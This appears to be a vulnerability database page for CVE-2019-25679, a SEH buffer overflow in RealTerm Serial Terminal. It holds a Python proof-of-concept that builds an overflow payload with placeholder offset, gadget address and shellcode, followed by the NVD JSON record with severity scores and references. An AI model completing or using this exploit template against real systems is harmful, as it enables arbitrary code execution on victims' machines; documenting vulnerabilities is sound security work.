CVE-2019-25679

#!/usr/bin/env python3 # PoC for CVE-2019-25679 - RealTerm Serial Terminal SEH Buffer Overflow # This script generates a malicious payload to trigger the vulnerability. import sys def generate_payload(): # Buffer padding to reach SEH structure (Hypothetical offset) # Exact offset requires debugging, this demonstrates the structure padding = b"A" * 1000 # Next SEH: Jump short 6 bytes to skip SEH handler and land in shellcode next_seh = b"\xeb\x06\x90\x90" # SEH: Address of POP POP RET instruction # This address must be a valid address from a loaded module (e.g., OS DLL or App DLL) # Placeholder used here as exact address depends on system version seh_handler = b"\xAA\xBB\xCC\xDD" # Shellcode: Example (e.g., calc.exe or bind shell) # Real shellcode would be generated by msfvenom shellcode = b"\xCC" * 500 payload = padding + next_seh + seh_handler + shellcode return payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25679...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Copy the raw bytes below and paste into the 'Port' field in RealTerm Echo Port tab, then click 'Change'.") print(payload.decode('latin-1'))

{"cve": {"id": "CVE-2019-25679", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:46.127", "lastModified": "2026-04-20T17:48:36.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RealTerm Serial Terminal 2.0.0.70 contains a structured exception handling (SEH) buffer overflow vulnerability in the Echo Port tab that allows local attackers to execute arbitrary code by supplying a malicious payload. Attackers can craft a buffer overflow payload with a POP POP RET gadget chain and shellcode that triggers code execution when pasted into the Port field and the Change button is clicked."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crun:realterm:2.0.0.70:*:*:*:*:*:*:*", "matchCriteriaId": "CBB4049D-EE6D-4CA8-B20B-5F32A28157EE"}]}]}], "references": [{"url": "https://realterm.sourceforge.io/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://sourceforge.net/projects/realterm/files/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46441", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/realterm-serial-terminal-buffer-overflow-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}